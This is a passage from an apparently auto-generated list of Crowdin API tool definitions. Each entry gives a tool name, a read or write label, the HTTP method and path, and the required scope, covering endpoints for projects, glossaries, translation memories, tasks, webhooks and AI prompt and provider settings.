crowdin_get_users_by_userid_ai_reports_by_aireportid (read) — Check AI Report Generation Status via GET /users/{userId}/ai/reports/{aiReportId} GET /api/v1/crowdin/users/{userId}/ai/reports/{aiReportId}. Scopes: ai.provider. crowdin_get_users_by_userid_ai_reports_by_aireportid_download (read) — Download AI Report via GET /users/{userId}/ai/reports/{aiReportId}/download GET /api/v1/crowdin/users/{userId}/ai/reports/{aiReportId}/download. Scopes: ai.provider. crowdin_get_users_by_userid_ai_request_logs (read) — List AI Request Logs via GET /users/{userId}/ai/request-logs GET /api/v1/crowdin/users/{userId}/ai/request-logs. Scopes: ai.request-log. crowdin_get_users_by_userid_ai_settings (read) — Get AI Settings via GET /users/{userId}/ai/settings GET /api/v1/crowdin/users/{userId}/ai/settings. Scopes: ai. crowdin_get_users_by_userid_ai_settings_custom_placeholders (read) — List AI Custom Placeholders via GET /users/{userId}/ai/settings/custom-placeholders GET /api/v1/crowdin/users/{userId}/ai/settings/custom-placeholders. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_settings_custom_placeholders_by_aicustomplaceholderid (read) — Get AI Custom Placeholder via GET /users/{userId}/ai/settings/custom-placeholders/{aiCustomPlaceholderId} GET /api/v1/crowdin/users/{userId}/ai/settings/custom-placeholders/{aiCustomPlaceholderId}. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_settings_snippets (read) — List AI Snippets via GET /users/{userId}/ai/settings/snippets GET /api/v1/crowdin/users/{userId}/ai/settings/snippets. Scopes: ai.prompt. crowdin_get_users_by_userid_ai_settings_snippets_by_aisnippetid (read) — Get AI Snippet via GET /users/{userId}/ai/settings/snippets/{aiSnippetId} GET /api/v1/crowdin/users/{userId}/ai/settings/snippets/{aiSnippetId}. Scopes: ai.prompt. crowdin_get_users_by_userid_reports_archives (read) — List Report Archives via GET /users/{userId}/reports/archives GET /api/v1/crowdin/users/{userId}/reports/archives. Scopes: project.report. crowdin_get_users_by_userid_reports_archives_by_archiveid (read) — Get Report Archive via GET /users/{userId}/reports/archives/{archiveId} GET /api/v1/crowdin/users/{userId}/reports/archives/{archiveId}. Scopes: project.report. crowdin_get_users_by_userid_reports_archives_by_archiveid_exports_by_exportid (read) — Check Report Archive Export Status via GET /users/{userId}/reports/archives/{archiveId}/exports/{exportId} GET /api/v1/crowdin/users/{userId}/reports/archives/{archiveId}/exports/{exportId}. Scopes: project.report. crowdin_get_users_by_userid_reports_archives_by_archiveid_exports_by_exportid_download (read) — Download Report Archive via GET /users/{userId}/reports/archives/{archiveId}/exports/{exportId}/download GET /api/v1/crowdin/users/{userId}/reports/archives/{archiveId}/exports/{exportId}/download. Scopes: project.report. crowdin_get_users_by_userid_reports_settings_templates (read) — List User Report Settings Templates via GET /users/{userId}/reports/settings-templates GET /api/v1/crowdin/users/{userId}/reports/settings-templates. Scopes: project.report. crowdin_get_users_by_userid_reports_settings_templates_by_reportsettingstemplateid (read) — Get User Report Settings Template via GET /users/{userId}/reports/settings-templates/{reportSettingsTemplateId} GET /api/v1/crowdin/users/{userId}/reports/settings-templates/{reportSettingsTemplateId}. Scopes: project.report. crowdin_get_users_by_userid_security_logs (read) — List User Security Logs via GET /users/{userId}/security-logs GET /api/v1/crowdin/users/{userId}/security-logs. Scopes: security-log. crowdin_get_users_by_userid_security_logs_by_securitylogid (read) — Get User Security Log via GET /users/{userId}/security-logs/{securityLogId} GET /api/v1/crowdin/users/{userId}/security-logs/{securityLogId}. Scopes: security-log. crowdin_get_users_by_userid_tasks (read) — List Tasks via GET /users/{userId}/tasks GET /api/v1/crowdin/users/{userId}/tasks. Scopes: project.task. crowdin_get_webhooks (read) — List Webhooks via GET /webhooks GET /api/v1/crowdin/webhooks. Scopes: webhook. crowdin_get_webhooks_by_organizationwebhookid (read) — Get Webhook via GET /webhooks/{organizationWebhookId} GET /api/v1/crowdin/webhooks/{organizationWebhookId}. Scopes: webhook. crowdin_patch_applications_by_applicationidentifier_api_by_path (write) — Edit Application Data via PATCH /applications/{applicationIdentifier}/api/{path} PATCH /api/v1/crowdin/applications/{applicationIdentifier}/api/{path}. Scopes: application. crowdin_patch_applications_consents_by_consentid (write) — Edit Application Consent Decision via PATCH /applications/consents/{consentId} PATCH /api/v1/crowdin/applications/consents/{consentId}. Scopes: application. crowdin_patch_applications_installations_by_identifier (write) — Edit Application Installation via PATCH /applications/installations/{identifier} PATCH /api/v1/crowdin/applications/installations/{identifier}. Scopes: application. crowdin_patch_glossaries_by_glossaryid (write) — Edit Glossary via PATCH /glossaries/{glossaryId} PATCH /api/v1/crowdin/glossaries/{glossaryId}. Scopes: glossary. crowdin_patch_glossaries_by_glossaryid_terms_by_termid (write) — Edit Term via PATCH /glossaries/{glossaryId}/terms/{termId} PATCH /api/v1/crowdin/glossaries/{glossaryId}/terms/{termId}. Scopes: glossary. crowdin_patch_languages_by_languageid (write) — Edit Custom Language via PATCH /languages/{languageId} PATCH /api/v1/crowdin/languages/{languageId}. Scopes: language. crowdin_patch_projects_by_projectid (write) — Edit Project via PATCH /projects/{projectId} PATCH /api/v1/crowdin/projects/{projectId}. Scopes: project.settings. crowdin_patch_projects_by_projectid_advisors_insights_by_insightid (write) — Edit Advisor Insight via PATCH /projects/{projectId}/advisors/insights/{insightId} PATCH /api/v1/crowdin/projects/{projectId}/advisors/insights/{insightId}. Scopes: project.advisor. crowdin_patch_projects_by_projectid_approvals (write) — Approval Batch Operations via PATCH /projects/{projectId}/approvals PATCH /api/v1/crowdin/projects/{projectId}/approvals. Scopes: project.translation. crowdin_patch_projects_by_projectid_branches_by_branchid (write) — Edit Branch via PATCH /projects/{projectId}/branches/{branchId} PATCH /api/v1/crowdin/projects/{projectId}/branches/{branchId}. Scopes: project.source. crowdin_patch_projects_by_projectid_bundles_by_bundleid (write) — Edit Bundle via PATCH /projects/{projectId}/bundles/{bundleId} PATCH /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}. Scopes: project.source. crowdin_patch_projects_by_projectid_comments (write) — String/Asset Comment Batch Operations via PATCH /projects/{projectId}/comments PATCH /api/v1/crowdin/projects/{projectId}/comments. Scopes: project.source. crowdin_patch_projects_by_projectid_comments_by_commentid (write) — Edit String/Asset Comment via PATCH /projects/{projectId}/comments/{commentId} PATCH /api/v1/crowdin/projects/{projectId}/comments/{commentId}. Scopes: project.source. crowdin_patch_projects_by_projectid_dictionaries_by_languageid (write) — Edit Dictionary via PATCH /projects/{projectId}/dictionaries/{languageId} PATCH /api/v1/crowdin/projects/{projectId}/dictionaries/{languageId}. Scopes: project. crowdin_patch_projects_by_projectid_directories_by_directoryid (write) — Edit Directory via PATCH /projects/{projectId}/directories/{directoryId} PATCH /api/v1/crowdin/projects/{projectId}/directories/{directoryId}. Scopes: project.source. crowdin_patch_projects_by_projectid_distributions_by_hash (write) — Edit Distribution via PATCH /projects/{projectId}/distributions/{hash} PATCH /api/v1/crowdin/projects/{projectId}/distributions/{hash}. Scopes: project.translation. crowdin_patch_projects_by_projectid_file_format_settings_by_fileformatsettingsid (write) — Edit Project File Format Settings via PATCH /projects/{projectId}/file-format-settings/{fileFormatSettingsId} PATCH /api/v1/crowdin/projects/{projectId}/file-format-settings/{fileFormatSettingsId}. Scopes: project.settings. crowdin_patch_projects_by_projectid_files_by_fileid (write) — Edit File via PATCH /projects/{projectId}/files/{fileId} PATCH /api/v1/crowdin/projects/{projectId}/files/{fileId}. Scopes: project.source. crowdin_patch_projects_by_projectid_issues_by_issueid (write) — Edit Issue via PATCH /projects/{projectId}/issues/{issueId} PATCH /api/v1/crowdin/projects/{projectId}/issues/{issueId}. Scopes: project.status. crowdin_patch_projects_by_projectid_labels_by_labelid (write) — Edit Label via PATCH /projects/{projectId}/labels/{labelId} PATCH /api/v1/crowdin/projects/{projectId}/labels/{labelId}. Scopes: project.source. crowdin_patch_projects_by_projectid_pre_translations (write) — Auto-Translation Batch Operations via PATCH /projects/{projectId}/pre-translations PATCH /api/v1/crowdin/projects/{projectId}/pre-translations. Scopes: project.translation. crowdin_patch_projects_by_projectid_pre_translations_by_jobidentifier (write) — Edit Auto-Translation via PATCH /projects/{projectId}/pre-translations/{jobIdentifier} PATCH /api/v1/crowdin/projects/{projectId}/pre-translations/{jobIdentifier}. Scopes: project.translation. crowdin_patch_projects_by_projectid_reports_settings_templates_by_reportsettingstemplateid (write) — Edit Report Settings Template via PATCH /projects/{projectId}/reports/settings-templates/{reportSettingsTemplateId} PATCH /api/v1/crowdin/projects/{projectId}/reports/settings-templates/{reportSettingsTemplateId}. Scopes: project.report. crowdin_patch_projects_by_projectid_screenshots_by_screenshotid (write) — Edit Screenshot via PATCH /projects/{projectId}/screenshots/{screenshotId} PATCH /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}. Scopes: project.screenshot. crowdin_patch_projects_by_projectid_screenshots_by_screenshotid_tags_by_tagid (write) — Edit Tag via PATCH /projects/{projectId}/screenshots/{screenshotId}/tags/{tagId} PATCH /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags/{tagId}. Scopes: project.screenshot. crowdin_patch_projects_by_projectid_strings (write) — String Batch Operations via PATCH /projects/{projectId}/strings PATCH /api/v1/crowdin/projects/{projectId}/strings. Scopes: project.source. crowdin_patch_projects_by_projectid_strings_by_stringid (write) — Edit String via PATCH /projects/{projectId}/strings/{stringId} PATCH /api/v1/crowdin/projects/{projectId}/strings/{stringId}. Scopes: project.source. crowdin_patch_projects_by_projectid_strings_exporter_settings_by_systemstringsexportersettingsid (write) — Edit Project Strings Exporter Settings via PATCH /projects/{projectId}/strings-exporter-settings/{systemStringsExporterSettingsId} PATCH /api/v1/crowdin/projects/{projectId}/strings-exporter-settings/{systemStringsExporterSettingsId}. Scopes: project.settings. crowdin_patch_projects_by_projectid_tasks_by_taskid (write) — Edit Project Task via PATCH /projects/{projectId}/tasks/{taskId} PATCH /api/v1/crowdin/projects/{projectId}/tasks/{taskId}. Scopes: project.task. crowdin_patch_projects_by_projectid_tasks_by_taskid_comments_by_commentid (write) — Edit Project Task Comment via PATCH /projects/{projectId}/tasks/{taskId}/comments/{commentId} PATCH /api/v1/crowdin/projects/{projectId}/tasks/{taskId}/comments/{commentId}. Scopes: project.task. crowdin_patch_projects_by_projectid_tasks_settings_templates_by_tasksettingstemplateid (write) — Edit Project Task Settings Template via PATCH /projects/{projectId}/tasks/settings-templates/{taskSettingsTemplateId} PATCH /api/v1/crowdin/projects/{projectId}/tasks/settings-templates/{taskSettingsTemplateId}. Scopes: project.task. crowdin_patch_projects_by_projectid_translations (write) — Translation Batch Operations via PATCH /projects/{projectId}/translations PATCH /api/v1/crowdin/projects/{projectId}/translations. Scopes: project.translation. crowdin_patch_projects_by_projectid_webhooks_by_webhookid (write) — Edit Webhook via PATCH /projects/{projectId}/webhooks/{webhookId} PATCH /api/v1/crowdin/projects/{projectId}/webhooks/{webhookId}. Scopes: project.webhook. crowdin_patch_style_guides_by_styleguideid (write) — Edit Style Guide via PATCH /style-guides/{styleGuideId} PATCH /api/v1/crowdin/style-guides/{styleGuideId}. Scopes: style-guide. crowdin_patch_tms_by_tmid (write) — Edit TM via PATCH /tms/{tmId} PATCH /api/v1/crowdin/tms/{tmId}. Scopes: tm. crowdin_patch_tms_by_tmid_segments (write) — TM Segment Batch Operations via PATCH /tms/{tmId}/segments PATCH /api/v1/crowdin/tms/{tmId}/segments. Scopes: tm. crowdin_patch_tms_by_tmid_segments_by_segmentid (write) — Edit TM Segment via PATCH /tms/{tmId}/segments/{segmentId} PATCH /api/v1/crowdin/tms/{tmId}/segments/{segmentId}. Scopes: tm. crowdin_patch_tms_by_tmid_segments_by_segmentid_records_by_recordid (write) — Edit TM Segment Record via PATCH /tms/{tmId}/segments/{segmentId}/records/{recordId} PATCH /api/v1/crowdin/tms/{tmId}/segments/{segmentId}/records/{recordId}. Scopes: tm. crowdin_patch_user (write) — Edit Authenticated User via PATCH /user PATCH /api/v1/crowdin/user. Scopes: project.member. crowdin_patch_user_tasks_by_taskid (write) — Edit Task Archived Status via PATCH /user/tasks/{taskId} PATCH /api/v1/crowdin/user/tasks/{taskId}. Scopes: project.task. crowdin_patch_users_by_userid_ai_prompts_by_aipromptid (write) — Edit AI Prompt via PATCH /users/{userId}/ai/prompts/{aiPromptId} PATCH /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}. Scopes: ai.prompt. crowdin_patch_users_by_userid_ai_providers_by_aiproviderid (write) — Edit AI Provider via PATCH /users/{userId}/ai/providers/{aiProviderId} PATCH /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}. Scopes: ai.provider. crowdin_patch_users_by_userid_ai_providers_by_aiproviderid_gateway_by_path (write) — AI Gateway PATCH via PATCH /users/{userId}/ai/providers/{aiProviderId}/gateway/{path} PATCH /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/gateway/{path}. Scopes: ai.proxy. crowdin_patch_users_by_userid_ai_settings (write) — Edit AI Settings via PATCH /users/{userId}/ai/settings PATCH /api/v1/crowdin/users/{userId}/ai/settings. Scopes: ai. crowdin_patch_users_by_userid_ai_settings_custom_placeholders_by_aicustomplaceholderid (write) — Edit AI Custom Placeholder via PATCH /users/{userId}/ai/settings/custom-placeholders/{aiCustomPlaceholderId} PATCH /api/v1/crowdin/users/{userId}/ai/settings/custom-placeholders/{aiCustomPlaceholderId}. Scopes: ai.prompt. crowdin_patch_users_by_userid_ai_settings_snippets_by_aisnippetid (write) — Edit AI Snippet via PATCH /users/{userId}/ai/settings/snippets/{aiSnippetId} PATCH /api/v1/crowdin/users/{userId}/ai/settings/snippets/{aiSnippetId}. Scopes: ai.prompt. crowdin_patch_users_by_userid_reports_settings_templates_by_reportsettingstemplateid (write) — Edit User Report Settings Template via PATCH /users/{userId}/reports/settings-templates/{reportSettingsTemplateId} PATCH /api/v1/crowdin/users/{userId}/reports/settings-templates/{reportSettingsTemplateId}. Scopes: project.report. crowdin_patch_webhooks_by_organizationwebhookid (write) — Edit Webhook via PATCH /webhooks/{organizationWebhookId} PATCH /api/v1/crowdin/webhooks/{organizationWebhookId}. Scopes: webhook. crowdin_post_applications_by_applicationidentifier_api_by_path (write) — Add Application Data via POST /applications/{applicationIdentifier}/api/{path} POST /api/v1/crowdin/applications/{applicationIdentifier}/api/{path}. Scopes: application. crowdin_post_applications_by_applicationidentifier_api_crowdin_update (write) — Update Crowdin Files via POST /applications/{applicationIdentifier}/api/crowdin-update POST /api/v1/crowdin/applications/{applicationIdentifier}/api/crowdin-update. Scopes: application. crowdin_post_applications_by_applicationidentifier_api_integration_update (write) — Update Integration Files via POST /applications/{applicationIdentifier}/api/integration-update POST /api/v1/crowdin/applications/{applicationIdentifier}/api/integration-update. Scopes: application. crowdin_post_applications_by_applicationidentifier_api_login (write) — Integration Login via POST /applications/{applicationIdentifier}/api/login POST /api/v1/crowdin/applications/{applicationIdentifier}/api/login. Scopes: application. crowdin_post_applications_by_applicationidentifier_api_settings (write) — Update Application Settings via POST /applications/{applicationIdentifier}/api/settings POST /api/v1/crowdin/applications/{applicationIdentifier}/api/settings. Scopes: application. crowdin_post_applications_by_applicationidentifier_api_sync_settings (write) — Update Sync Settings via POST /applications/{applicationIdentifier}/api/sync-settings POST /api/v1/crowdin/applications/{applicationIdentifier}/api/sync-settings. Scopes: application. crowdin_post_applications_consents (write) — Create Application Consent Decision via POST /applications/consents POST /api/v1/crowdin/applications/consents. Scopes: application. crowdin_post_applications_installations (write) — Install Application via POST /applications/installations POST /api/v1/crowdin/applications/installations. Scopes: application. crowdin_post_applications_installations_by_identifier_bundles (write) — Upload Application Bundle via POST /applications/installations/{identifier}/bundles POST /api/v1/crowdin/applications/installations/{identifier}/bundles. Scopes: application. crowdin_post_applications_installations_by_identifier_update (write) — Apply Application Installation Update via POST /applications/installations/{identifier}/update POST /api/v1/crowdin/applications/installations/{identifier}/update. Scopes: application. crowdin_post_glossaries (write) — Add Glossary via POST /glossaries POST /api/v1/crowdin/glossaries. Scopes: glossary. crowdin_post_glossaries_by_glossaryid_exports (write) — Export Glossary via POST /glossaries/{glossaryId}/exports POST /api/v1/crowdin/glossaries/{glossaryId}/exports. Scopes: glossary. crowdin_post_glossaries_by_glossaryid_imports (write) — Import Glossary via POST /glossaries/{glossaryId}/imports POST /api/v1/crowdin/glossaries/{glossaryId}/imports. Scopes: glossary. crowdin_post_glossaries_by_glossaryid_terms (write) — Add Term via POST /glossaries/{glossaryId}/terms POST /api/v1/crowdin/glossaries/{glossaryId}/terms. Scopes: glossary. crowdin_post_glossaries_concordance (write) — Concordance search in Glossaries via POST /glossaries/concordance POST /api/v1/crowdin/glossaries/concordance. Scopes: glossary. crowdin_post_languages (write) — Add Custom Language via POST /languages POST /api/v1/crowdin/languages. Scopes: language. crowdin_post_mts_by_mtid_translations (write) — Translate via MT via POST /mts/{mtId}/translations POST /api/v1/crowdin/mts/{mtId}/translations. Scopes: mt. crowdin_post_notify (write) — Send Notification to Authenticated User via POST /notify POST /api/v1/crowdin/notify. Scopes: notification. crowdin_post_projects (write) — Add Project via POST /projects POST /api/v1/crowdin/projects. Scopes: project.settings. crowdin_post_projects_by_projectid_advisors_checks (write) — Create Advisor Check via POST /projects/{projectId}/advisors/checks POST /api/v1/crowdin/projects/{projectId}/advisors/checks. Scopes: project.advisor. crowdin_post_projects_by_projectid_approvals (write) — Add Approval via POST /projects/{projectId}/approvals POST /api/v1/crowdin/projects/{projectId}/approvals. Scopes: project.translation. crowdin_post_projects_by_projectid_branches (write) — Add Branch via POST /projects/{projectId}/branches POST /api/v1/crowdin/projects/{projectId}/branches. Scopes: project.source. crowdin_post_projects_by_projectid_branches_by_branchid_clones (write) — Clone Branch via POST /projects/{projectId}/branches/{branchId}/clones POST /api/v1/crowdin/projects/{projectId}/branches/{branchId}/clones. Scopes: project.source. crowdin_post_projects_by_projectid_branches_by_branchid_merges (write) — Merge Branch via POST /projects/{projectId}/branches/{branchId}/merges POST /api/v1/crowdin/projects/{projectId}/branches/{branchId}/merges. Scopes: project.source. crowdin_post_projects_by_projectid_bundles (write) — Add Bundle via POST /projects/{projectId}/bundles POST /api/v1/crowdin/projects/{projectId}/bundles. Scopes: project.source. crowdin_post_projects_by_projectid_bundles_by_bundleid_exports (write) — Export Bundle via POST /projects/{projectId}/bundles/{bundleId}/exports POST /api/v1/crowdin/projects/{projectId}/bundles/{bundleId}/exports. Scopes: project.translation. crowdin_post_projects_by_projectid_comments (write) — Add String/Asset Comment via POST /projects/{projectId}/comments POST /api/v1/crowdin/projects/{projectId}/comments. Scopes: project.source. crowdin_post_projects_by_projectid_directories (write) — Add Directory via POST /projects/{projectId}/directories POST /api/v1/crowdin/projects/{projectId}/directories. Scopes: project.source. crowdin_post_projects_by_projectid_distributions (write) — Add Distribution via POST /projects/{projectId}/distributions POST /api/v1/crowdin/projects/{projectId}/distributions. Scopes: project.translation. crowdin_post_projects_by_projectid_distributions_by_hash_release (write) — Release Distribution via POST /projects/{projectId}/distributions/{hash}/release POST /api/v1/crowdin/projects/{projectId}/distributions/{hash}/release. Scopes: project.translation. crowdin_post_projects_by_projectid_file_format_settings (write) — Add Project File Format Settings via POST /projects/{projectId}/file-format-settings POST /api/v1/crowdin/projects/{projectId}/file-format-settings. Scopes: project.settings. crowdin_post_projects_by_projectid_files (write) — Add File via POST /projects/{projectId}/files POST /api/v1/crowdin/projects/{projectId}/files. Scopes: project.source. crowdin_post_projects_by_projectid_files_by_fileid_references (write) — Add Asset Reference via POST /projects/{projectId}/files/{fileId}/references POST /api/v1/crowdin/projects/{projectId}/files/{fileId}/references. Scopes: project.source. crowdin_post_projects_by_projectid_glossaries_concordance (write) — Concordance search in project Glossaries via POST /projects/{projectId}/glossaries/concordance POST /api/v1/crowdin/projects/{projectId}/glossaries/concordance. Scopes: glossary. crowdin_post_projects_by_projectid_labels (write) — Add Label via POST /projects/{projectId}/labels POST /api/v1/crowdin/projects/{projectId}/labels. Scopes: project.source. crowdin_post_projects_by_projectid_labels_by_labelid_screenshots (write) — Assign Label to Screenshots via POST /projects/{projectId}/labels/{labelId}/screenshots POST /api/v1/crowdin/projects/{projectId}/labels/{labelId}/screenshots. Scopes: project.source. crowdin_post_projects_by_projectid_labels_by_labelid_strings (write) — Assign Label to Strings via POST /projects/{projectId}/labels/{labelId}/strings POST /api/v1/crowdin/projects/{projectId}/labels/{labelId}/strings. Scopes: project.source. crowdin_post_projects_by_projectid_members (write) — Add Project Member via POST /projects/{projectId}/members POST /api/v1/crowdin/projects/{projectId}/members. Scopes: project.member. crowdin_post_projects_by_projectid_notify (write) — Send Notification To Project Members via POST /projects/{projectId}/notify POST /api/v1/crowdin/projects/{projectId}/notify. Scopes: project. crowdin_post_projects_by_projectid_pre_translations (write) — Apply Auto-Translation via POST /projects/{projectId}/pre-translations POST /api/v1/crowdin/projects/{projectId}/pre-translations. Scopes: project.translation. crowdin_post_projects_by_projectid_qa_checks_revalidate (write) — Revalidate QA Checks via POST /projects/{projectId}/qa-checks/revalidate POST /api/v1/crowdin/projects/{projectId}/qa-checks/revalidate. Scopes: project.status. crowdin_post_projects_by_projectid_reports (write) — Generate Report via POST /projects/{projectId}/reports POST /api/v1/crowdin/projects/{projectId}/reports. Scopes: project.report. crowdin_post_projects_by_projectid_reports_settings_templates (write) — Add Report Settings Template via POST /projects/{projectId}/reports/settings-templates POST /api/v1/crowdin/projects/{projectId}/reports/settings-templates. Scopes: project.report. crowdin_post_projects_by_projectid_screenshots (write) — Add Screenshot via POST /projects/{projectId}/screenshots POST /api/v1/crowdin/projects/{projectId}/screenshots. Scopes: project.screenshot. crowdin_post_projects_by_projectid_screenshots_by_screenshotid_tags (write) — Add Tag via POST /projects/{projectId}/screenshots/{screenshotId}/tags POST /api/v1/crowdin/projects/{projectId}/screenshots/{screenshotId}/tags. Scopes: project.screenshot. crowdin_post_projects_by_projectid_strings (write) — Add String via POST /projects/{projectId}/strings POST /api/v1/crowdin/projects/{projectId}/strings. Scopes: project.source. crowdin_post_projects_by_projectid_strings_exporter_settings (write) — Add Project Strings Exporter Settings via POST /projects/{projectId}/strings-exporter-settings POST /api/v1/crowdin/projects/{projectId}/strings-exporter-settings. Scopes: project.settings. crowdin_post_projects_by_projectid_strings_uploads (write) — Upload Strings via POST /projects/{projectId}/strings/uploads POST /api/v1/crowdin/projects/{projectId}/strings/uploads. Scopes: project.source. crowdin_post_projects_by_projectid_tasks (write) — Add Project Task via POST /projects/{projectId}/tasks POST /api/v1/crowdin/projects/{projectId}/tasks. Scopes: project.task. crowdin_post_projects_by_projectid_tasks_by_taskid_comments (write) — Add Project Task Comment via POST /projects/{projectId}/tasks/{taskId}/comments POST /api/v1/crowdin/projects/{projectId}/tasks/{taskId}/comments. Scopes: project.task. crowdin_post_projects_by_projectid_tasks_by_taskid_exports (write) — Export Project Task Strings via POST /projects/{projectId}/tasks/{taskId}/exports POST /api/v1/crowdin/projects/{projectId}/tasks/{taskId}/exports. Scopes: project.task. crowdin_post_projects_by_projectid_tasks_settings_templates (write) — Add Project Task Settings Template via POST /projects/{projectId}/tasks/settings-templates POST /api/v1/crowdin/projects/{projectId}/tasks/settings-templates. Scopes: project.task. crowdin_post_projects_by_projectid_tms_concordance (write) — Concordance search in project TMs via POST /projects/{projectId}/tms/concordance POST /api/v1/crowdin/projects/{projectId}/tms/concordance. Scopes: tm. crowdin_post_projects_by_projectid_translations (write) — Add Translation via POST /projects/{projectId}/translations POST /api/v1/crowdin/projects/{projectId}/translations. Scopes: project.translation. crowdin_post_projects_by_projectid_translations_alignment (write) — Translation Alignment via POST /projects/{projectId}/translations/alignment POST /api/v1/crowdin/projects/{projectId}/translations/alignment. Scopes: project.translation. crowdin_post_projects_by_projectid_translations_builds (write) — Build Project Translation via POST /projects/{projectId}/translations/builds POST /api/v1/crowdin/projects/{projectId}/translations/builds. Scopes: project.translation. crowdin_post_projects_by_projectid_translations_builds_directories_by_directoryid (write) — Build Project Directory Translation via POST /projects/{projectId}/translations/builds/directories/{directoryId} POST /api/v1/crowdin/projects/{projectId}/translations/builds/directories/{directoryId}. Scopes: project.source. crowdin_post_projects_by_projectid_translations_builds_files_by_fileid (write) — Build Project File Translation via POST /projects/{projectId}/translations/builds/files/{fileId} POST /api/v1/crowdin/projects/{projectId}/translations/builds/files/{fileId}. Scopes: project.source. crowdin_post_projects_by_projectid_translations_by_languageid (write) — Upload Translations via POST /projects/{projectId}/translations/{languageId} POST /api/v1/crowdin/projects/{projectId}/translations/{languageId}. Scopes: project.translation. crowdin_post_projects_by_projectid_translations_exports (write) — Export Project Translation via POST /projects/{projectId}/translations/exports POST /api/v1/crowdin/projects/{projectId}/translations/exports. Scopes: project.translation. crowdin_post_projects_by_projectid_translations_imports (write) — Import Translations via POST /projects/{projectId}/translations/imports POST /api/v1/crowdin/projects/{projectId}/translations/imports. Scopes: project.translation. crowdin_post_projects_by_projectid_translations_validate_qa_checks (write) — Validate text by QA Checks via POST /projects/{projectId}/translations/validate-qa-checks POST /api/v1/crowdin/projects/{projectId}/translations/validate-qa-checks. Scopes: project.translation. crowdin_post_projects_by_projectid_votes (write) — Add Vote via POST /projects/{projectId}/votes POST /api/v1/crowdin/projects/{projectId}/votes. Scopes: project.translation. crowdin_post_projects_by_projectid_webhooks (write) — Add Webhook via POST /projects/{projectId}/webhooks POST /api/v1/crowdin/projects/{projectId}/webhooks. Scopes: project.webhook. crowdin_post_storages (write) — Add Storage via POST /storages POST /api/v1/crowdin/storages. Scopes: project.source. crowdin_post_style_guides (write) — Create Style Guide via POST /style-guides POST /api/v1/crowdin/style-guides. Scopes: style-guide. crowdin_post_tms (write) — Add TM via POST /tms POST /api/v1/crowdin/tms. Scopes: tm. crowdin_post_tms_by_tmid_exports (write) — Export TM via POST /tms/{tmId}/exports POST /api/v1/crowdin/tms/{tmId}/exports. Scopes: tm. crowdin_post_tms_by_tmid_imports (write) — Import TM via POST /tms/{tmId}/imports POST /api/v1/crowdin/tms/{tmId}/imports. Scopes: tm. crowdin_post_tms_by_tmid_segments (write) — Create TM Segment via POST /tms/{tmId}/segments POST /api/v1/crowdin/tms/{tmId}/segments. Scopes: tm. crowdin_post_tms_by_tmid_segments_by_segmentid_records (write) — Create TM Segment Records via POST /tms/{tmId}/segments/{segmentId}/records POST /api/v1/crowdin/tms/{tmId}/segments/{segmentId}/records. Scopes: tm. crowdin_post_tms_concordance (write) — Concordance search in TMs via POST /tms/concordance POST /api/v1/crowdin/tms/concordance. Scopes: tm. crowdin_post_users_by_userid_ai_file_translations (write) — AI File Translations via POST /users/{userId}/ai/file-translations POST /api/v1/crowdin/users/{userId}/ai/file-translations. Scopes: ai.translate. crowdin_post_users_by_userid_ai_prompts (write) — Add AI Prompt via POST /users/{userId}/ai/prompts POST /api/v1/crowdin/users/{userId}/ai/prompts. Scopes: ai.prompt. crowdin_post_users_by_userid_ai_prompts_by_aipromptid_clones (write) — Clone AI Prompt via POST /users/{userId}/ai/prompts/{aiPromptId}/clones POST /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/clones. Scopes: ai.prompt. crowdin_post_users_by_userid_ai_prompts_by_aipromptid_completions (write) — Generate AI Prompt Completion via POST /users/{userId}/ai/prompts/{aiPromptId}/completions POST /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/completions. Scopes: ai.prompt. crowdin_post_users_by_userid_ai_prompts_by_aipromptid_fine_tuning_datasets (write) — Generate AI Prompt Fine-Tuning Dataset via POST /users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/datasets POST /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/datasets. Scopes: ai.fine-tuning. crowdin_post_users_by_userid_ai_prompts_by_aipromptid_fine_tuning_jobs (write) — Create AI Prompt Fine-Tuning Job via POST /users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/jobs POST /api/v1/crowdin/users/{userId}/ai/prompts/{aiPromptId}/fine-tuning/jobs. Scopes: ai.fine-tuning. crowdin_post_users_by_userid_ai_providers (write) — Add AI Provider via POST /users/{userId}/ai/providers POST /api/v1/crowdin/users/{userId}/ai/providers. Scopes: ai.provider. crowdin_post_users_by_userid_ai_providers_by_aiproviderid_chat_completions (write) — Create AI Proxy Chat Completion via POST /users/{userId}/ai/providers/{aiProviderId}/chat/completions POST /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/chat/completions. Scopes: ai.proxy. crowdin_post_users_by_userid_ai_providers_by_aiproviderid_gateway_by_path (write) — AI Gateway POST via POST /users/{userId}/ai/providers/{aiProviderId}/gateway/{path} POST /api/v1/crowdin/users/{userId}/ai/providers/{aiProviderId}/gateway/{path}. Scopes: ai.proxy. crowdin_post_users_by_userid_ai_reports (write) — Generate AI Report via POST /users/{userId}/ai/reports POST /api/v1/crowdin/users/{userId}/ai/reports. Scopes: ai.provider. crowdin_post_users_by_userid_ai_settings_custom_placeholders (write) — Add AI Custom Placeholder via POST /users/{userId}/ai/settings/custom-placeholders POST /api/v1/crowdin/users/{userId}/ai/settings/custom-placeholders. Scopes: ai.prompt. crowdin_post_users_by_userid_ai_settings_snippets (write) — Add AI Snippet via POST /users/{userId}/ai/settings/snippets POST /api/v1/crowdin/users/{userId}/ai/settings/snippets. Scopes: ai.prompt. crowdin_post_users_by_userid_ai_translate (write) — AI Translate Strings via POST /users/{userId}/ai/translate POST /api/v1/crowdin/users/{userId}/ai/translate. Scopes: ai.translate. crowdin_post_users_by_userid_reports_archives_by_archiveid_exports (write) — Export Report Archive via POST /users/{userId}/reports/archives/{archiveId}/exports POST /api/v1/crowdin/users/{userId}/reports/archives/{archiveId}/exports. Scopes: project.report. crowdin_post_users_by_userid_reports_settings_templates (write) — Add User Report Settings Template via POST /users/{userId}/reports/settings-templates POST 